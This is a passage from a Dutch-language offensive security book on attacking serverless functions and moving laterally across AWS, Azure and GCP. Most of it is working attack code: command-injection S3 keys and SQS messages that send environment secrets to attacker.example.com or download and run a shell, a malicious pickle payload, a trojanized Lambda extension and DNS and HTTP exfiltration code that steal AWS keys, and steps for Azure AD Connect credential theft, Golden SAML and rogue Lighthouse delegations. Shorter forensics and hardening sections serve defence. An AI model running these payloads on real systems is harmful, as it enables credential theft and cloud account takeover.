| Cognito Triggers          | User attributes, challenge responses          |
| IoT Rules                 | MQTT topic, message payload                   |
| Azure Event Grid          | Subject, data object                          |
| Azure Service Bus         | Message body, custom properties               |
| GCP Pub/Sub               | Message data, attributes                      |
| GCP Cloud Storage          | Object name, metadata                         |
+---------------------------+-----------------------------------------------+

S3 Event Manipulation

S3 events worden getriggerd wanneer objecten worden aangemaakt, verwijderd of gewijzigd. De bestandsnaam en metadata zijn onder controle van de uploader.

# Kwetsbare Lambda die S3 events verwerkt
import boto3
import os
import subprocess

def handler(event, context):
    record = event['Records'][0]
    bucket = record['s3']['bucket']['name']
    key = record['s3']['object']['key']

    # Download het bestand
    s3 = boto3.client('s3')
    local_path = f"/tmp/{key}"
    s3.download_file(bucket, key, local_path)

    # KWETSBAAR: bestandsnaam in subprocess
    result = subprocess.run(
        f"file {local_path}",  # Command injection via key!
        shell=True,
        capture_output=True,
        text=True
    )

    # KWETSBAAR: key in log message (log injection)
    print(f"Processed file: {key}")

    return result.stdout

Exploitatie via bestandsnaam:

# Command injection via S3 object key
aws s3 cp /dev/null "s3://target-bucket/test; curl attacker.example.com/?creds=\$(env | base64 | tr -d '\n') ;.txt"

# Path traversal via key
aws s3 cp payload.txt "s3://target-bucket/../../../tmp/malicious.sh"

# Log injection
aws s3 cp payload.txt "s3://target-bucket/normal.txt
CRITICAL: Admin credentials rotated - new password: see /api/admin"

Message Queue Injection

SQS, SNS, Azure Service Bus en GCP Pub/Sub zijn allemaal kwetsbaar voor dezelfde patronen: de message body is user-controlled data.

# AWS SQS injection
aws sqs send-message \
  --queue-url https://sqs.eu-west-1.amazonaws.com/123456789012/orders \
  --message-body '{
    "orderId": "1; wget attacker.example.com/shell -O /tmp/s; chmod +x /tmp/s; /tmp/s",
    "product": "<script>document.location=\"https://attacker.example.com/?c=\"+document.cookie</script>",
    "quantity": "1 UNION SELECT username,password FROM users--"
  }'

# Azure Service Bus injection
az servicebus topic subscription create \
  --resource-group target-rg \
  --namespace-name target-ns \
  --topic-name orders \
  --name evil-sub

# GCP Pub/Sub injection
gcloud pubsub topics publish target-topic \
  --message='{"cmd": "$(curl attacker.example.com/$(whoami))"}'

Database Trigger Injection

DynamoDB Streams en Azure Cosmos DB Change Feed triggeren functies bij data-wijzigingen.

# Kwetsbare Lambda op DynamoDB Stream
def handler(event, context):
    for record in event['Records']:
        if record['eventName'] == 'INSERT':
            new_item = record['dynamodb']['NewImage']
            email = new_item['email']['S']

            # KWETSBAAR: email in template zonder escaping
            html = f"<h1>Welkom {email}</h1>"

            # KWETSBAAR: email in OS command
            os.system(f"echo 'New user: {email}' | mail -s 'Alert' admin@company.com")
# Inject via DynamoDB (als je dynamodb:PutItem hebt)
aws dynamodb put-item \
  --table-name users \
  --item '{
    "userId": {"S": "evil-user"},
    "email": {"S": "test@test.com\"; curl attacker.example.com/$(env|base64) #"}
  }'

Deserialization in Event Payloads

Serverless functies ontvangen events als JSON – maar sommige deserializeren custom formaten uit die events.

# Lambda die pickled data uit S3 verwerkt
import pickle
import boto3

def handler(event, context):
    s3 = boto3.client('s3')
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = event['Records'][0]['s3']['object']['key']

    obj = s3.get_object(Bucket=bucket, Key=key)
    # KWETSBAAR: pickle deserialization
    data = pickle.loads(obj['Body'].read())

    return {"processed": str(data)}
# Genereer een malicious pickle payload
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl https://attacker.example.com/$(whoami)',))

# Upload naar de trigger bucket
import boto3
s3 = boto3.client('s3')
s3.put_object(
    Bucket='target-bucket',
    Key='data/report.pkl',
    Body=pickle.dumps(Exploit())
)

IB Tip: Event injection is bijzonder gevaarlijk omdat events vaak worden beschouwd als “interne” data. Developers vertrouwen S3 event data, SQS messages en DynamoDB stream records als “al gevalideerd” – terwijl de oorspronkelijke data door een gebruiker kan zijn aangeleverd.

8.6 Serverless Dependency Attacks

Package Inclusion Vulnerabilities

Serverless functies zijn afhankelijk van packages en libraries. De supply chain is hetzelfde als bij elke andere applicatie, maar de impact is anders: een gecompromitteerde dependency draait met de IAM-rechten van de Lambda execution role.

# Analyseer de dependencies van een Lambda functie
# Download de function code
aws lambda get-function --function-name target-function \
  --query 'Code.Location' --output text | xargs curl -o function.zip

unzip function.zip -d function-code/

# Check Python dependencies
cat function-code/requirements.txt
pip-audit -r function-code/requirements.txt

# Check Node.js dependencies
cat function-code/package.json
cd function-code && npm audit

# Check voor bekende malicious packages
# Python
pip install safety
safety check -r function-code/requirements.txt

# Node.js
npx is-website-vulnerable function-code/

Trojanized Layers en Extensions

Lambda Layers zijn een gedeeld dependency-mechanisme – en een supply chain risico.

# Zoek publiek beschikbare layers
aws lambda list-layers --compatible-runtime python3.11

# Analyseer een verdachte layer
aws lambda get-layer-version \
  --layer-name arn:aws:lambda:eu-west-1:123456789012:layer:suspicious-layer \
  --version-number 1 \
  --query 'Content.Location' --output text | xargs curl -o layer.zip

# Unzip en zoek naar verdachte code
unzip layer.zip -d layer-contents/
grep -r "eval\|exec\|subprocess\|os.system\|urllib" layer-contents/
grep -r "169.254.169.254\|metadata" layer-contents/

# Check of de layer een extension registreert
ls -la layer-contents/extensions/
cat layer-contents/extensions/*

Creeer een trojanized layer:

# extensions/evil-extension -- Lambda Extension die credentials steelt
#!/usr/bin/env python3
import os
import json
import urllib.request

RUNTIME_API = os.environ['AWS_LAMBDA_RUNTIME_API']

# Registreer als extension
headers = {"Lambda-Extension-Name": "monitoring-extension"}
data = json.dumps({"events": ["INVOKE", "SHUTDOWN"]}).encode()
req = urllib.request.Request(
    f"http://{RUNTIME_API}/2020-01-01/extension/register",
    data=data,
    headers=headers,
    method="POST"
)
resp = urllib.request.urlopen(req)
ext_id = resp.headers['Lambda-Extension-Identifier']

def exfil_creds():
    creds = {
        "key": os.environ.get("AWS_ACCESS_KEY_ID"),
        "secret": os.environ.get("AWS_SECRET_ACCESS_KEY"),
        "token": os.environ.get("AWS_SESSION_TOKEN"),
    }
    req = urllib.request.Request(
        "https://attacker.example.com/c",
        data=json.dumps(creds).encode(),
        headers={"Content-Type": "application/json"},
    )
    try:
        urllib.request.urlopen(req, timeout=1)
    except:
        pass

exfil_creds()

# Event loop
while True:
    req = urllib.request.Request(
        f"http://{RUNTIME_API}/2020-01-01/extension/event/next",
        headers={"Lambda-Extension-Identifier": ext_id}
    )
    resp = urllib.request.urlopen(req)
    event = json.loads(resp.read())
    if event['eventType'] == 'SHUTDOWN':
        break

Cold Start Race Conditions

Tijdens een cold start worden layers en extensions geladen voordat de function handler start. Dit creert een window waarin code kan draaien zonder dat de functie het weet.

Cold Start Timeline:
[Download Code] → [Load Layers] → [Init Extensions] → [Init Runtime] → [Handler Init] → [Handler Execute]
                       ^                 ^
                       |                 |
              Malicious layer      Malicious extension
              code runs here       registers here
              BEFORE handler       BEFORE handler

Het subtiele gevaar: als een layer een module monkey-patcht (bijvoorbeeld boto3 of requests), kan die patch alle API-calls van de functie intercepten.

# layer/python/boto3/__init__.py -- monkey-patch boto3
# Dit wordt geladen in plaats van het echte boto3

# Importeer het echte boto3 eerst
import importlib
import sys

# Verwijder onszelf uit sys.modules zodat het echte boto3 geladen kan worden
del sys.modules['boto3']
# Voeg het originele pad weer toe
real_boto3 = importlib.import_module('boto3')

# Monkey-patch de Session class
_original_client = real_boto3.Session.client

def _patched_client(self, service_name, *args, **kwargs):
    client = _original_client(self, service_name, *args, **kwargs)
    # Intercept alle S3 get_object calls
    if service_name == 's3':
        _original_get = client.get_object
        def _patched_get(*a, **kw):
            result = _original_get(*a, **kw)
            # Stuur een kopie naar de aanvaller
            # ...
            return result
        client.get_object = _patched_get
    return client

real_boto3.Session.client = _patched_client
sys.modules['boto3'] = real_boto3

8.7 Data Exfiltratie via Serverless

DNS Exfiltration

DNS-verkeer wordt zelden geblokkeerd, zelfs niet in VPC-geplaatste Lambda’s. Het is de ultieme covert channel.

# DNS exfiltratie vanuit een Lambda functie
import socket
import base64
import os

def exfil_dns(data, domain="exfil.attacker.example.com"):
    """Exfiltreer data via DNS queries."""
    encoded = base64.b32encode(data.encode()).decode().rstrip('=').lower()

    # Split in chunks van 63 chars (DNS label limit)
    chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]

    for i, chunk in enumerate(chunks):
        subdomain = f"{i}.{chunk}.{domain}"
        try:
            socket.getaddrinfo(subdomain, None)
        except socket.gaierror:
            pass  # De lookup failt, maar de DNS server ziet de query

def handler(event, context):
    # Exfiltreer credentials
    creds = f"{os.environ.get('AWS_ACCESS_KEY_ID')}:{os.environ.get('AWS_SECRET_ACCESS_KEY')}"
    exfil_dns(creds)

    # Normal function execution continues
    return {"statusCode": 200}

DNS listener op de aanvaller’s kant:

# Gebruik een authoritative DNS server voor je domein
# Bijvoorbeeld met dnschef of een custom script

# Simple Python DNS listener
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, A

class ExfilResolver(BaseResolver):
    def resolve(self, request, handler):
        qname = str(request.q.qname)
        print(f"[EXFIL] {qname}")
        # Log de query voor later decoderen
        with open("exfil.log", "a") as f:
            f.write(f"{qname}\n")
        reply = request.reply()
        reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A("127.0.0.1")))
        return reply

server = DNSServer(ExfilResolver(), port=53, address="0.0.0.0")
server.start()

Outbound HTTP Exfiltration

De meest directe methode – maar ook de meest detecteerbare.

import urllib.request
import json
import os

def exfil_http(data):
    """Exfiltreer data via HTTP POST."""
    req = urllib.request.Request(
        "https://attacker.example.com/collect",
        data=json.dumps(data).encode(),
        headers={
            "Content-Type": "application/json",
            "User-Agent": "aws-sdk-python/1.26.0"  # Blend in
        }
    )
    try:
        urllib.request.urlopen(req, timeout=3)
    except:
        pass

def handler(event, context):
    # Verzamel alle interessante data
    data = {
        "env": dict(os.environ),
        "event": event,
        "context": {
            "function_name": context.function_name,
            "memory_limit": context.memory_limit_in_mb,
            "remaining_time": context.get_remaining_time_in_millis(),
        }
    }
    exfil_http(data)
    return {"statusCode": 200}

Cloud Storage Staging

Gebruik de cloud provider’s eigen storage als staging area – het verkeer lijkt intern en triggert minder alerts.

import boto3
import json
import os

def handler(event, context):
    s3 = boto3.client('s3')

    # Exfiltreer naar een bucket die je controleert
    # (als de execution role s3:PutObject toestaat op * of op jouw bucket)
    loot = {
        "credentials": {
            "access_key": os.environ.get("AWS_ACCESS_KEY_ID"),
            "secret_key": os.environ.get("AWS_SECRET_ACCESS_KEY"),
            "session_token": os.environ.get("AWS_SESSION_TOKEN"),
        },
        "event_data": event
    }

    try:
        s3.put_object(
            Bucket="attacker-controlled-bucket",
            Key=f"loot/{context.function_name}/{context.aws_request_id}.json",
            Body=json.dumps(loot)
        )
    except Exception:
        # Fallback: gebruik de functie's eigen bucket als staging
        # Verberg het in een pad dat niet opvalt
        s3.put_object(
            Bucket="legitimate-app-bucket",
            Key=f".aws-sam/cache/{context.aws_request_id}",
            Body=json.dumps(loot)
        )

    return {"statusCode": 200}

IB Tip: Exfiltratie via de cloud provider’s eigen diensten (S3, Azure Blob, GCS) is moeilijker te detecteren dan outbound HTTP naar een extern IP. Het verkeer gaat via interne endpoints en mengt zich met normaal applicatieverkeer. Monitor CloudTrail data events op onverwachte PutObject-acties naar onbekende buckets.

8.8 Serverless Forensics

Function Versioning

Lambda ondersteunt versioning – elke keer dat je een functie publiceert, wordt een immutable versie aangemaakt. Dit is goud waard voor forensics.

# Lijst alle versies van een functie
aws lambda list-versions-by-function \
  --function-name target-function \
  --query 'Versions[].{Version:Version, Modified:LastModified, CodeSha:CodeSha256}'

# Vergelijk code hashes tussen versies
# Als de hash veranderd is, is de code gewijzigd
aws lambda get-function --function-name target-function --qualifier 5 \
  --query 'Configuration.CodeSha256'

# Download een specifieke versie voor analyse
aws lambda get-function --function-name target-function --qualifier 3 \
  --query 'Code.Location' --output text | xargs curl -o version3.zip

# Bekijk welke aliases naar welke versies wijzen
aws lambda list-aliases --function-name target-function

CloudWatch Logs Analyse

Lambda-functies loggen automatisch naar CloudWatch Logs. De log group volgt het patroon /aws/lambda/{function-name}.

# Bekijk recente log streams
aws logs describe-log-streams \
  --log-group-name /aws/lambda/target-function \
  --order-by LastEventTime \
  --descending \
  --limit 10

# Zoek naar verdachte activiteit
aws logs filter-log-events \
  --log-group-name /aws/lambda/target-function \
  --filter-pattern "curl OR wget OR nc OR /bin/sh OR /bin/bash" \
  --start-time $(date -d '24 hours ago' +%s000)

# Zoek naar credential-gerelateerde logs
aws logs filter-log-events \
  --log-group-name /aws/lambda/target-function \
  --filter-pattern "ACCESS_KEY OR SECRET OR password OR token" \
  --start-time $(date -d '7 days ago' +%s000)

# Zoek naar errors die op exploitatie kunnen wijzen
aws logs filter-log-events \
  --log-group-name /aws/lambda/target-function \
  --filter-pattern "ERROR OR Exception OR Traceback OR CRITICAL" \
  --start-time $(date -d '24 hours ago' +%s000)

# Exporteer logs voor offline analyse
aws logs create-export-task \
  --log-group-name /aws/lambda/target-function \
  --from $(date -d '30 days ago' +%s000) \
  --to $(date +%s000) \
  --destination "forensics-bucket" \
  --destination-prefix "lambda-logs/target-function"

Azure Application Insights

# Bekijk function execution logs
az monitor app-insights query \
  --app target-appinsights \
  --resource-group target-rg \
  --analytics-query "
    requests
    | where timestamp > ago(24h)
    | where name contains 'target-function'
    | where success == false
    | project timestamp, name, resultCode, duration, customDimensions
    | order by timestamp desc
  "

# Zoek naar dependency calls (uitgaande verbindingen)
az monitor app-insights query \
  --app target-appinsights \
  --resource-group target-rg \
  --analytics-query "
    dependencies
    | where timestamp > ago(24h)
    | where target !contains 'azure'
    | project timestamp, target, data, resultCode, duration
    | order by timestamp desc
  "

X-Ray en Execution Traces

AWS X-Ray biedt distributed tracing voor Lambda-functies.

# Haal recente traces op
aws xray get-trace-summaries \
  --start-time $(date -d '24 hours ago' +%s) \
  --end-time $(date +%s) \
  --filter-expression 'service("target-function")'

# Haal een specifieke trace op
aws xray batch-get-traces --trace-ids "1-67890abc-def0123456789"

# Zoek naar verdachte patronen:
# - Ongewoon lange execution times
# - Uitgaande calls naar onbekende endpoints
# - Calls naar het metadata endpoint
aws xray get-trace-summaries \
  --start-time $(date -d '24 hours ago' +%s) \
  --end-time $(date +%s) \
  --filter-expression 'service("target-function") AND duration > 10'

Verdedigingsmaatregelen

Het cynische antwoord op “hoe beveilig ik serverless?” is: “je beveiligt het niet, je beperkt de schade.” Maar laten we iets constructiever zijn.

Function Permissions: Least Privilege

Het principe van least privilege is nergens zo cruciaal als bij serverless. Elke functie moet precies de rechten hebben die nodig zijn – niet meer.

# SAM template -- goede IAM policy
Resources:
  ProcessOrderFunction:
    Type: AWS::Serverless::Function
    Properties:
      Handler: index.handler
      Runtime: python3.11
      Policies:
        # Specifieke permissions, niet AmazonS3FullAccess
        - Version: "2012-10-17"
          Statement:
            - Effect: Allow
              Action:
                - s3:GetObject
              Resource: !Sub "arn:aws:s3:::${OrderBucket}/orders/*"
            - Effect: Allow
              Action:
                - dynamodb:PutItem
              Resource: !GetAtt OrderTable.Arn
              Condition:
                ForAllValues:StringEquals:
                  dynamodb:LeadingKeys:
                    - "${aws:PrincipalTag/orderId}"

VPC Placement

# Lambda in een VPC -- beperkt outbound traffic
Resources:
  SecureFunction:
    Type: AWS::Serverless::Function
    Properties:
      VpcConfig:
        SecurityGroupIds:
          - !Ref FunctionSecurityGroup
        SubnetIds:
          - !Ref PrivateSubnet1
          - !Ref PrivateSubnet2

  FunctionSecurityGroup:
    Type: AWS::EC2::SecurityGroup
    Properties:
      GroupDescription: Lambda function security group
      VpcId: !Ref VPC
      SecurityGroupEgress:
        # Alleen toegang tot specifieke services
        - IpProtocol: tcp
          FromPort: 443
          ToPort: 443
          DestinationPrefixListId: !Ref S3PrefixList  # Alleen S3

Dependency Scanning

# CI/CD pipeline stap: scan dependencies
# Python
pip install pip-audit safety
pip-audit -r requirements.txt --strict
safety check -r requirements.txt

# Node.js
npm audit --audit-level=high
npx snyk test

# Scan Lambda layers
aws lambda get-layer-version \
  --layer-name shared-layer --version-number 1 \
  --query 'Content.Location' --output text \
  | xargs curl -o layer.zip
unzip layer.zip -d layer-scan/
pip-audit -r layer-scan/python/requirements.txt

Runtime Protection

# Lambda wrapper voor runtime protection
import os
import socket

# Blokkeer outbound DNS naar niet-standaard servers
_original_getaddrinfo = socket.getaddrinfo

def _restricted_getaddrinfo(host, port, *args, **kwargs):
    # Sta alleen bekende hosts toe
    allowed = ['dynamodb.eu-west-1.amazonaws.com', 's3.eu-west-1.amazonaws.com']
    if host not in allowed and not host.endswith('.amazonaws.com'):
        raise socket.gaierror(f"DNS lookup blocked for: {host}")
    return _original_getaddrinfo(host, port, *args, **kwargs)

if os.environ.get('RESTRICT_NETWORK') == 'true':
    socket.getaddrinfo = _restricted_getaddrinfo

Referentietabel

Techniek MITRE ATT&CK AWS Azure GCP
Function enumeration T1526 - Cloud Service Discovery aws lambda list-functions az functionapp list gcloud functions list
Credential extraction T1552.005 - Cloud Instance Metadata Lambda env vars, Runtime API IMDS token theft Metadata endpoint
Event injection T1190 - Exploit Public-Facing App S3/SQS/SNS event manipulation Event Grid, Service Bus Pub/Sub, Cloud Storage
Layer poisoning T1195.002 - Supply Chain: Software Supply Chain Lambda Layers NuGet/npm packages pip/npm packages
/tmp persistence T1027 - Obfuscated Files Lambda /tmp directory Function App temp storage /tmp directory
DNS exfiltration T1048.003 - Exfil Over Unencrypted Protocol CloudWatch DNS logs Azure DNS Analytics VPC Flow Logs
Function URL abuse T1190 - Exploit Public-Facing App Lambda Function URLs (AuthType: NONE) Anonymous HTTP triggers allUsers invoker
Runtime API exploitation T1059 - Command and Scripting Lambda Runtime API (127.0.0.1:9001) N/A N/A
Managed identity abuse T1550.001 - Application Access Token Lambda execution role Managed Identity tokens Service account tokens
Dependency attack T1195.001 - Supply Chain: Compromise Software Dependencies pip/npm malicious packages NuGet supply chain pip/npm supply chain
Code download T1530 - Data from Cloud Storage S3 function code bucket Kudu SCM interface gcf-sources bucket
Durable orchestration abuse T1565 - Data Manipulation Step Functions manipulation Durable Functions events Cloud Workflows
Extension registration T1547 - Boot or Logon Autostart Lambda Extensions API App Service extensions N/A
Cold start exploitation T1059.006 - Python Init phase code execution Startup code execution Init phase code execution
Outbound HTTP exfil T1048.001 - Exfil Over Encrypted Channel VPC endpoint bypass NSG bypass attempts Firewall rule bypass
Storage staging T1074.002 - Remote Data Staging S3 bucket staging Blob Storage staging GCS bucket staging

Het mooie van serverless is dat je geen server hoeft te beheren. Het vervelende van serverless is dat je aanvaller dat ook niet hoeft.

Cloud Laterale Beweging

Cloud Laterale Beweging

Waarin we leren dat de cloud geen muren heeft, maar des te meer deuren – en de meeste staan op een kier

Laterale beweging in een traditioneel netwerk is bijna romantisch in zijn eenvoud. Je compromitteert een machine, je dumpt credentials, je beweegt naar de volgende machine. SMB, RDP, WMI, PsExec – het zijn oude bekenden, vertrouwde tools in de gereedschapskist van elke pentester. De cloud gooit dat hele model op z’n kop.

In de cloud bewegen we niet van machine naar machine. We bewegen van identiteit naar identiteit, van rol naar rol, van service naar service. Er zijn geen netwerkkabels om over te springen, geen switches om te VLAN-hoppen. Er zijn API’s, tokens, trust relationships en een ondoordringbaar web van IAM-policies die bepalen wie wat mag doen.

En het allermooiste? De meeste organisaties hebben absoluut geen idee welke trust relationships er in hun cloud bestaan. Ze hebben een enterprise architect die een mooi plaatje heeft getekend van hoe het zou moeten werken, en een realiteit die daar zo ver van afstaat dat het bijna kunst is.

IB Tip: Cloud laterale beweging is fundamenteel identity-based. In plaats van psexec \\target gebruik je aws sts assume-role of az login --identity. Het doel is hetzelfde – meer access – maar de methode is compleet anders. Denk in termen van privileges, niet in termen van machines.

9.1 Laterale Beweging in de Cloud

Het Fundamentele Verschil

On-premise laterale beweging:

Machine A → [credentials] → Machine B → [credentials] → Machine C
              (NTLM hash)                 (Kerberos TGT)

Cloud laterale beweging:

Role A → [AssumeRole] → Role B → [API call] → Service C → [managed identity] → Service D
           (STS token)             (IAM policy)              (OAuth token)

Het verschil zit niet alleen in de techniek, maar in de schaal. Een enkele misconfigured IAM role kan toegang geven tot honderden resources. Een trust relationship tussen twee AWS accounts kan een complete organisatie openstellen.

De Cloud Kill Chain voor Laterale Beweging

1. Initial Access          → Compromised credentials, SSRF, exposed service
         |
2. Discovery               → Enumerate IAM roles, services, trust relationships
         |
3. Privilege Assessment     → Welke rechten heb ik? Waar kan ik bij?
         |
4. Trust Identification     → Welke roles kan ik assumen? Welke services vertrouwen mij?
         |
5. Lateral Movement         → AssumeRole, service-to-service, federation abuse
         |
6. Privilege Escalation     → Misconfigurations, policy gaps, service exploitation
         |
7. Objective                → Data access, persistence, further movement

Tooling voor Cloud Enumeratie

# AWS -- enumerate je huidige identiteit en rechten
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)
aws iam list-user-policies --user-name current-user

# Enumerate assumable roles
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS]]' --output json

# Pacu -- AWS exploitation framework
# pip install pacu
pacu
> import_keys --all
> run iam__enum_permissions
> run iam__enum_roles
> run iam__privesc_scan

# Azure -- enumerate je rechten
az account show
az role assignment list --assignee $(az account show --query user.name -o tsv)
az ad app list --all --query '[].{name:displayName, id:appId}'

# GCP -- enumerate je rechten
gcloud config list account
gcloud projects get-iam-policy PROJECT_ID \
  --flatten="bindings[].members" \
  --filter="bindings.members:$(gcloud config get-value account)" \
  --format="table(bindings.role)"

9.2 Cross-Account Pivoting

AWS AssumeRole Chains

AWS AssumeRole is het primaire mechanisme voor cross-account access. Het werkt op basis van trust policies die definiëren wie een role mag assumen.

# Stap 1: Ontdek welke roles je kunt assumen
# Bekijk de trust policies van alle roles
aws iam list-roles --query 'Roles[].{Name:RoleName, Trust:AssumeRolePolicyDocument}' \
  | jq '.[] | select(.Trust.Statement[].Principal.AWS != null)'

# Stap 2: Assume een cross-account role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/CrossAccountAdmin \
  --role-session-name lateral-movement \
  --duration-seconds 3600

# Stap 3: Gebruik de nieuwe credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Stap 4: Bevestig de nieuwe identiteit
aws sts get-caller-identity
# Output: Account 222222222222, Role CrossAccountAdmin

# Stap 5: Vanuit account 2, assume weer een role in account 3
aws sts assume-role \
  --role-arn arn:aws:iam::333333333333:role/SharedServiceRole \
  --role-session-name chain-pivot

AssumeRole chain diagram:

Account 111111111111          Account 222222222222          Account 333333333333
+-------------------+        +-------------------+        +-------------------+
| Compromised User  |------->| CrossAccountAdmin  |------->| SharedServiceRole |
| (sts:AssumeRole)  | trust  | (sts:AssumeRole)  | trust  | (s3:*, ec2:*)     |
+-------------------+        +-------------------+        +-------------------+
                                                                    |
                                                                    v
                                                           S3 buckets, EC2 instances
                                                           in account 333333333333

Zoek naar misconfigured trust policies:

# Zoek roles die ELKE AWS account kunnen assumen
aws iam list-roles --query 'Roles[].{Name:RoleName, Trust:AssumeRolePolicyDocument}' \
  | jq '.[] | select(.Trust.Statement[].Principal.AWS == "*")'

# Zoek roles met te brede trust
aws iam list-roles | jq '.Roles[] |
  select(.AssumeRolePolicyDocument.Statement[] |
    (.Principal.AWS // "" | test("root$")) or
    (.Principal.AWS == "*") or
    (.Condition == null and (.Principal.Service // "" | test("^$")))
  ) | {RoleName, AssumeRolePolicyDocument}'

# Zoek roles die een heel account vertrouwen (niet specifieke roles/users)
aws iam list-roles | jq '.Roles[] |
  select(.AssumeRolePolicyDocument.Statement[] |
    .Principal.AWS // "" | test("arn:aws:iam::[0-9]+:root")
  ) | .RoleName'

IB Tip: Een AssumeRole chain is het cloud-equivalent van credential hopping. Het verschil: elke “hop” is gelogd in CloudTrail met sts:AssumeRole events in zowel het bron- als doelaccount. Maar als het doelaccount geen CloudTrail heeft geconfigureerd, is er een blind spot.

Azure Lighthouse Abuse

Azure Lighthouse geeft service providers gedelegeerde toegang tot klantresources. Het is bedoeld voor managed services, maar het is ook een fantastisch laterale-beweging mechanisme.

# Bekijk welke Lighthouse delegaties er zijn
az managedservices assignment list --query '[].{
  id:id,
  managedBy:properties.registrationDefinitionId
}'

# Bekijk de delegatie-details
az managedservices definition list --query '[].{
  name:properties.registrationDefinitionName,
  managedByTenant:properties.managedByTenantId,
  authorizations:properties.authorizations
}'

# Als je de managing tenant controleert, heb je toegang tot de klant-resources
# Wissel naar de gedelegeerde scope
az account list --query '[?tenantId==`MANAGED_TENANT_ID`]'

# Acties uitvoeren in de klant-subscription
az vm list --subscription CUSTOMER_SUBSCRIPTION_ID
az storage account list --subscription CUSTOMER_SUBSCRIPTION_ID

Creeer een malicious Lighthouse delegatie (als je Owner rechten hebt):

# Registreer een Lighthouse definitie die jouw tenant toegang geeft
az managedservices definition create \
  --name "Monitoring Service" \
  --tenant-id ATTACKER_TENANT_ID \
  --principal-id ATTACKER_PRINCIPAL_ID \
  --role-definition-id "b24988ac-6180-42a0-ab88-20f7382dd24c" \
  --description "Legitimate looking monitoring service"
# role-definition-id b24988ac... = Contributor

# Wijs de delegatie toe aan een resource group
az managedservices assignment create \
  --definition /subscriptions/VICTIM_SUB/providers/Microsoft.ManagedServices/registrationDefinitions/DEF_ID \
  --resource-group target-rg

GCP Cross-Project Impersonation

GCP gebruikt service account impersonation voor cross-project access.

# Bekijk welke service accounts je kunt impersonaten
gcloud iam service-accounts list --project target-project

# Check of je iam.serviceAccountTokenCreator rol hebt
gcloud projects get-iam-policy target-project \
  --flatten="bindings[].members" \
  --filter="bindings.role:roles/iam.serviceAccountTokenCreator" \
  --format="table(bindings.members)"

# Genereer een access token voor een service account in een ander project
gcloud auth print-access-token \
  --impersonate-service-account=target-sa@target-project.iam.gserviceaccount.com

# Gebruik de impersonated identity
gcloud storage ls --impersonate-service-account=target-sa@target-project.iam.gserviceaccount.com

# Of via de API
TOKEN=$(curl -s -X POST \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/target-sa@target-project.iam.gserviceaccount.com:generateAccessToken" \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  -d '{"scope": ["https://www.googleapis.com/auth/cloud-platform"], "lifetime": "3600s"}' \
  | jq -r '.accessToken')

curl -H "Authorization: Bearer $TOKEN" \
  "https://storage.googleapis.com/storage/v1/b?project=target-project"

9.3 Hybrid Paden

Van On-Premise naar Cloud

Dit is de heilige graal voor aanvallers: een compromittering van het on-premise netwerk die leidt tot cloud-toegang. En er zijn verrassend veel paden.

Azure AD Connect

Azure AD Connect synchroniseert on-premise Active Directory met Azure AD. De server bevat credentials die toegang geven tot beide omgevingen.

# Op de Azure AD Connect server:
# Extract de sync credentials
# Methode 1: AADInternals (PowerShell module)
Install-Module AADInternals
Import-Module AADInternals

# Haal de sync credentials op
Get-AADIntSyncCredentials

# Output:
# Tenant: company.onmicrosoft.com
# UserName: Sync_SERVER_abc12345@company.onmicrosoft.com
# Password: <cleartext password>

# Methode 2: Handmatig via de database
# De credentials staan in de LocalDB
sqlcmd -S "(localdb)\.\ADSync" -d ADSync -Q "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
# Met de sync credentials kun je:
# 1. Wachtwoord-hashes van ALLE gebruikers ophalen uit Azure AD
# 2. Passwords resetten van cloud-only accounts
# 3. Een Global Admin aanmaken

# Azure AD Connect account heeft DCSync-rechten
# Gebruik de credentials voor DCSync vanuit de cloud

IB Tip: Azure AD Connect is het #1 hybrid pivotpunt. De sync-server heeft DCSync-rechten in on-premise AD en elevated rechten in Azure AD. Compromittering van deze ene server geeft je effectief Domain Admin en Global Admin. Behandel deze server als een Tier 0 asset.

ADFS Token Signing

Active Directory Federation Services (ADFS) gebruikt een token-signing certificaat om SAML-tokens te ondertekenen. Wie dat certificaat heeft, kan tokens genereren voor elke gebruiker – de beruchte Golden SAML-aanval.

# Op de ADFS server:
# Export het token-signing certificaat

# Methode 1: Via PowerShell
Get-AdfsCertificate -CertificateType Token-Signing

# Methode 2: Via ADFSDump (van FireEye/Mandiant)
.\ADFSDump.exe /domain:corp.local /server:adfs01.corp.local

# Het certificaat exporteren
$cert = Get-AdfsCertificate -CertificateType Token-Signing
$certBytes = $cert.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "password")
[System.IO.File]::WriteAllBytes("C:\temp\adfs-signing.pfx", $certBytes)
# Genereer een Golden SAML token met het gestolen certificaat
# Gebruik shimit (https://github.com/cyberark/shimit)
python shimit.py \
  -idp "http://adfs.corp.local/adfs/services/trust" \
  -spn "urn:federation:MicrosoftOnline" \
  -cert adfs-signing.pfx \
  -u "admin@company.com" \
  -n "Global Admin" \
  -r "Global Administrator" \
  -asserts

Azure Arc

Azure Arc breidt Azure-management uit naar on-premise servers. Het installeert een agent die een managed identity krijgt in Azure.

# Op een on-premise server met Azure Arc agent:
# De Arc agent heeft een managed identity
# Haal het token op via het local HIMDS endpoint

curl -s -H "Metadata: true" \
  "http://localhost:40342/metadata/identity/oauth2/token?api-version=2020-06-01&resource=https://management.azure.com/" \
  -H "Authorization: Basic $(cat /var/opt/azcmagent/.himds/tokens/default.key)"

# Dit token geeft toegang tot Azure resources
# Afhankelijk van de role assignments van de Arc managed identity

# Enumerate de rechten
TOKEN="..."
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

Van Cloud naar On-Premise

